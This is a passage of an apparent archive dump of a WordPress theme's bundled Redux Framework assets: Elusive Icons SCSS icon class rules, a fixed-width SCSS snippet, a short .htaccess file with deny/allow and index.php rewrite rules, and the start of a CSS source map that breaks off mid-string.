content: $el-var-phone; } .#{$el-css-prefix}-icon-photo-alt:before, .#{$el-css-prefix}-photo-alt:before { content: $el-var-photo-alt; } .#{$el-css-prefix}-icon-photo:before, .#{$el-css-prefix}-photo:before { content: $el-var-photo; } .#{$el-css-prefix}-icon-picasa:before, .#{$el-css-prefix}-picasa:before { content: $el-var-picasa; } .#{$el-css-prefix}-icon-picture:before, .#{$el-css-prefix}-picture:before { content: $el-var-picture; } .#{$el-css-prefix}-icon-plane:before, .#{$el-css-prefix}-plane:before { content: $el-var-plane; } .#{$el-css-prefix}-icon-play-alt:before, .#{$el-css-prefix}-play-alt:before { content: $el-var-play-alt; } .#{$el-css-prefix}-icon-play-circle:before, .#{$el-css-prefix}-play-circle:before { content: $el-var-play-circle; } .#{$el-css-prefix}-icon-play:before, .#{$el-css-prefix}-play:before { content: $el-var-play; } .#{$el-css-prefix}-icon-plurk-alt:before, .#{$el-css-prefix}-plurk-alt:before { content: $el-var-plurk-alt; } .#{$el-css-prefix}-icon-plurk:before, .#{$el-css-prefix}-plurk:before { content: $el-var-plurk; } .#{$el-css-prefix}-icon-plus-sign:before, .#{$el-css-prefix}-plus-sign:before { content: $el-var-plus-sign; } .#{$el-css-prefix}-icon-plus:before, .#{$el-css-prefix}-plus:before { content: $el-var-plus; } .#{$el-css-prefix}-icon-podcast:before, .#{$el-css-prefix}-podcast:before { content: $el-var-podcast; } .#{$el-css-prefix}-icon-print:before, .#{$el-css-prefix}-print:before { content: $el-var-print; } .#{$el-css-prefix}-icon-puzzle:before, .#{$el-css-prefix}-puzzle:before { content: $el-var-puzzle; } .#{$el-css-prefix}-icon-qrcode:before, .#{$el-css-prefix}-qrcode:before { content: $el-var-qrcode; } .#{$el-css-prefix}-icon-question-sign:before, .#{$el-css-prefix}-question-sign:before { content: $el-var-question-sign; } .#{$el-css-prefix}-icon-question:before, .#{$el-css-prefix}-question:before { content: $el-var-question; } .#{$el-css-prefix}-icon-quote-alt:before, .#{$el-css-prefix}-quote-alt:before { content: $el-var-quote-alt; } .#{$el-css-prefix}-icon-quote-right-alt:before, .#{$el-css-prefix}-quote-right-alt:before { content: $el-var-quote-right-alt; } .#{$el-css-prefix}-icon-quote-right:before, .#{$el-css-prefix}-quote-right:before { content: $el-var-quote-right; } .#{$el-css-prefix}-icon-quotes:before, .#{$el-css-prefix}-quotes:before { content: $el-var-quotes; } .#{$el-css-prefix}-icon-random:before, .#{$el-css-prefix}-random:before { content: $el-var-random; } .#{$el-css-prefix}-icon-record:before, .#{$el-css-prefix}-record:before { content: $el-var-record; } .#{$el-css-prefix}-icon-reddit:before, .#{$el-css-prefix}-reddit:before { content: $el-var-reddit; } .#{$el-css-prefix}-icon-redux:before, .#{$el-css-prefix}-redux:before { content: $el-var-redux; } .#{$el-css-prefix}-icon-refresh:before, .#{$el-css-prefix}-refresh:before { content: $el-var-refresh; } .#{$el-css-prefix}-icon-remove-circle:before, .#{$el-css-prefix}-remove-circle:before { content: $el-var-remove-circle; } .#{$el-css-prefix}-icon-remove-sign:before, .#{$el-css-prefix}-remove-sign:before { content: $el-var-remove-sign; } .#{$el-css-prefix}-icon-remove:before, .#{$el-css-prefix}-remove:before { content: $el-var-remove; } .#{$el-css-prefix}-icon-repeat-alt:before, .#{$el-css-prefix}-repeat-alt:before { content: $el-var-repeat-alt; } .#{$el-css-prefix}-icon-repeat:before, .#{$el-css-prefix}-repeat:before { content: $el-var-repeat; } .#{$el-css-prefix}-icon-resize-full:before, .#{$el-css-prefix}-resize-full:before { content: $el-var-resize-full; } .#{$el-css-prefix}-icon-resize-horizontal:before, .#{$el-css-prefix}-resize-horizontal:before { content: $el-var-resize-horizontal; } .#{$el-css-prefix}-icon-resize-small:before, .#{$el-css-prefix}-resize-small:before { content: $el-var-resize-small; } .#{$el-css-prefix}-icon-resize-vertical:before, .#{$el-css-prefix}-resize-vertical:before { content: $el-var-resize-vertical; } .#{$el-css-prefix}-icon-return-key:before, .#{$el-css-prefix}-return-key:before { content: $el-var-return-key; } .#{$el-css-prefix}-icon-retweet:before, .#{$el-css-prefix}-retweet:before { content: $el-var-retweet; } .#{$el-css-prefix}-icon-reverse-alt:before, .#{$el-css-prefix}-reverse-alt:before { content: $el-var-reverse-alt; } .#{$el-css-prefix}-icon-road:before, .#{$el-css-prefix}-road:before { content: $el-var-road; } .#{$el-css-prefix}-icon-rss:before, .#{$el-css-prefix}-rss:before { content: $el-var-rss; } .#{$el-css-prefix}-icon-scissors:before, .#{$el-css-prefix}-scissors:before { content: $el-var-scissors; } .#{$el-css-prefix}-icon-screen-alt:before, .#{$el-css-prefix}-screen-alt:before { content: $el-var-screen-alt; } .#{$el-css-prefix}-icon-screen:before, .#{$el-css-prefix}-screen:before { content: $el-var-screen; } .#{$el-css-prefix}-icon-screenshot:before, .#{$el-css-prefix}-screenshot:before { content: $el-var-screenshot; } .#{$el-css-prefix}-icon-search-alt:before, .#{$el-css-prefix}-search-alt:before { content: $el-var-search-alt; } .#{$el-css-prefix}-icon-search:before, .#{$el-css-prefix}-search:before { content: $el-var-search; } .#{$el-css-prefix}-icon-share-alt:before, .#{$el-css-prefix}-share-alt:before { content: $el-var-share-alt; } .#{$el-css-prefix}-icon-share:before, .#{$el-css-prefix}-share:before { content: $el-var-share; } .#{$el-css-prefix}-icon-shopping-cart-sign:before, .#{$el-css-prefix}-shopping-cart-sign:before { content: $el-var-shopping-cart-sign; } .#{$el-css-prefix}-icon-shopping-cart:before, .#{$el-css-prefix}-shopping-cart:before { content: $el-var-shopping-cart; } .#{$el-css-prefix}-icon-shortcode:before, .#{$el-css-prefix}-shortcode:before { content: $el-var-shortcode; } .#{$el-css-prefix}-icon-signal:before, .#{$el-css-prefix}-signal:before { content: $el-var-signal; } .#{$el-css-prefix}-icon-skype:before, .#{$el-css-prefix}-skype:before { content: $el-var-skype; } .#{$el-css-prefix}-icon-slideshare:before, .#{$el-css-prefix}-slideshare:before { content: $el-var-slideshare; } .#{$el-css-prefix}-icon-smiley-alt:before, .#{$el-css-prefix}-smiley-alt:before { content: $el-var-smiley-alt; } .#{$el-css-prefix}-icon-smiley:before, .#{$el-css-prefix}-smiley:before { content: $el-var-smiley; } .#{$el-css-prefix}-icon-soundcloud:before, .#{$el-css-prefix}-soundcloud:before { content: $el-var-soundcloud; } .#{$el-css-prefix}-icon-speaker:before, .#{$el-css-prefix}-speaker:before { content: $el-var-speaker; } .#{$el-css-prefix}-icon-spotify:before, .#{$el-css-prefix}-spotify:before { content: $el-var-spotify; } .#{$el-css-prefix}-icon-stackoverflow:before, .#{$el-css-prefix}-stackoverflow:before { content: $el-var-stackoverflow; } .#{$el-css-prefix}-icon-star-alt:before, .#{$el-css-prefix}-star-alt:before { content: $el-var-star-alt; } .#{$el-css-prefix}-icon-star-empty:before, .#{$el-css-prefix}-star-empty:before { content: $el-var-star-empty; } .#{$el-css-prefix}-icon-star:before, .#{$el-css-prefix}-star:before { content: $el-var-star; } .#{$el-css-prefix}-icon-step-backward:before, .#{$el-css-prefix}-step-backward:before { content: $el-var-step-backward; } .#{$el-css-prefix}-icon-step-forward:before, .#{$el-css-prefix}-step-forward:before { content: $el-var-step-forward; } .#{$el-css-prefix}-icon-stop-alt:before, .#{$el-css-prefix}-stop-alt:before { content: $el-var-stop-alt; } .#{$el-css-prefix}-icon-stop:before, .#{$el-css-prefix}-stop:before { content: $el-var-stop; } .#{$el-css-prefix}-icon-stumbleupon:before, .#{$el-css-prefix}-stumbleupon:before { content: $el-var-stumbleupon; } .#{$el-css-prefix}-icon-tag:before, .#{$el-css-prefix}-tag:before { content: $el-var-tag; } .#{$el-css-prefix}-icon-tags:before, .#{$el-css-prefix}-tags:before { content: $el-var-tags; } .#{$el-css-prefix}-icon-tasks:before, .#{$el-css-prefix}-tasks:before { content: $el-var-tasks; } .#{$el-css-prefix}-icon-text-height:before, .#{$el-css-prefix}-text-height:before { content: $el-var-text-height; } .#{$el-css-prefix}-icon-text-width:before, .#{$el-css-prefix}-text-width:before { content: $el-var-text-width; } .#{$el-css-prefix}-icon-th-large:before, .#{$el-css-prefix}-th-large:before { content: $el-var-th-large; } .#{$el-css-prefix}-icon-th-list:before, .#{$el-css-prefix}-th-list:before { content: $el-var-th-list; } .#{$el-css-prefix}-icon-th:before, .#{$el-css-prefix}-th:before { content: $el-var-th; } .#{$el-css-prefix}-icon-thumbs-down:before, .#{$el-css-prefix}-thumbs-down:before { content: $el-var-thumbs-down; } .#{$el-css-prefix}-icon-thumbs-up:before, .#{$el-css-prefix}-thumbs-up:before { content: $el-var-thumbs-up; } .#{$el-css-prefix}-icon-time-alt:before, .#{$el-css-prefix}-time-alt:before { content: $el-var-time-alt; } .#{$el-css-prefix}-icon-time:before, .#{$el-css-prefix}-time:before { content: $el-var-time; } .#{$el-css-prefix}-icon-tint:before, .#{$el-css-prefix}-tint:before { content: $el-var-tint; } .#{$el-css-prefix}-icon-torso:before, .#{$el-css-prefix}-torso:before { content: $el-var-torso; } .#{$el-css-prefix}-icon-trash-alt:before, .#{$el-css-prefix}-trash-alt:before { content: $el-var-trash-alt; } .#{$el-css-prefix}-icon-trash:before, .#{$el-css-prefix}-trash:before { content: $el-var-trash; } .#{$el-css-prefix}-icon-tumblr:before, .#{$el-css-prefix}-tumblr:before { content: $el-var-tumblr; } .#{$el-css-prefix}-icon-twitter:before, .#{$el-css-prefix}-twitter:before { content: $el-var-twitter; } .#{$el-css-prefix}-icon-universal-access:before, .#{$el-css-prefix}-universal-access:before { content: $el-var-universal-access; } .#{$el-css-prefix}-icon-unlock-alt:before, .#{$el-css-prefix}-unlock-alt:before { content: $el-var-unlock-alt; } .#{$el-css-prefix}-icon-unlock:before, .#{$el-css-prefix}-unlock:before { content: $el-var-unlock; } .#{$el-css-prefix}-icon-upload:before, .#{$el-css-prefix}-upload:before { content: $el-var-upload; } .#{$el-css-prefix}-icon-usd:before, .#{$el-css-prefix}-usd:before { content: $el-var-usd; } .#{$el-css-prefix}-icon-user:before, .#{$el-css-prefix}-user:before { content: $el-var-user; } .#{$el-css-prefix}-icon-viadeo:before, .#{$el-css-prefix}-viadeo:before { content: $el-var-viadeo; } .#{$el-css-prefix}-icon-video-alt:before, .#{$el-css-prefix}-video-alt:before { content: $el-var-video-alt; } .#{$el-css-prefix}-icon-video-chat:before, .#{$el-css-prefix}-video-chat:before { content: $el-var-video-chat; } .#{$el-css-prefix}-icon-video:before, .#{$el-css-prefix}-video:before { content: $el-var-video; } .#{$el-css-prefix}-icon-view-mode:before, .#{$el-css-prefix}-view-mode:before { content: $el-var-view-mode; } .#{$el-css-prefix}-icon-vimeo:before, .#{$el-css-prefix}-vimeo:before { content: $el-var-vimeo; } .#{$el-css-prefix}-icon-vkontakte:before, .#{$el-css-prefix}-vkontakte:before { content: $el-var-vkontakte; } .#{$el-css-prefix}-icon-volume-down:before, .#{$el-css-prefix}-volume-down:before { content: $el-var-volume-down; } .#{$el-css-prefix}-icon-volume-off:before, .#{$el-css-prefix}-volume-off:before { content: $el-var-volume-off; } .#{$el-css-prefix}-icon-volume-up:before, .#{$el-css-prefix}-volume-up:before { content: $el-var-volume-up; } .#{$el-css-prefix}-icon-w3c:before, .#{$el-css-prefix}-w3c:before { content: $el-var-w3c; } .#{$el-css-prefix}-icon-warning-sign:before, .#{$el-css-prefix}-warning-sign:before { content: $el-var-warning-sign; } .#{$el-css-prefix}-icon-website-alt:before, .#{$el-css-prefix}-website-alt:before { content: $el-var-website-alt; } .#{$el-css-prefix}-icon-website:before, .#{$el-css-prefix}-website:before { content: $el-var-website; } .#{$el-css-prefix}-icon-wheelchair:before, .#{$el-css-prefix}-wheelchair:before { content: $el-var-wheelchair; } .#{$el-css-prefix}-icon-wordpress:before, .#{$el-css-prefix}-wordpress:before { content: $el-var-wordpress; } .#{$el-css-prefix}-icon-wrench-alt:before, .#{$el-css-prefix}-wrench-alt:before { content: $el-var-wrench-alt; } .#{$el-css-prefix}-icon-wrench:before, .#{$el-css-prefix}-wrench:before { content: $el-var-wrench; } .#{$el-css-prefix}-icon-youtube:before, .#{$el-css-prefix}-youtube:before { content: $el-var-youtube; } .#{$el-css-prefix}-icon-zoom-in:before, .#{$el-css-prefix}-zoom-in:before { content: $el-var-zoom-in; } .#{$el-css-prefix}-icon-zoom-out:before, .#{$el-css-prefix}-zoom-out:before { content: $el-var-zoom-out; } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_fixed-width.scss000064400000000170147206624460023044 0ustar00// Fixed Width Icons // ------------------------- .#{$el-css-prefix}-fw { width: (18em / 14); text-align: center; } lib/redux-framework/assets/css/vendor/elusive-icons/scss/.htaccess000064400000001626147206624460021401 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/vendor/elusive-icons/elusive-icons.css.map000064400000031343147206624460022702 0ustar00{ "version": 3, "mappings": "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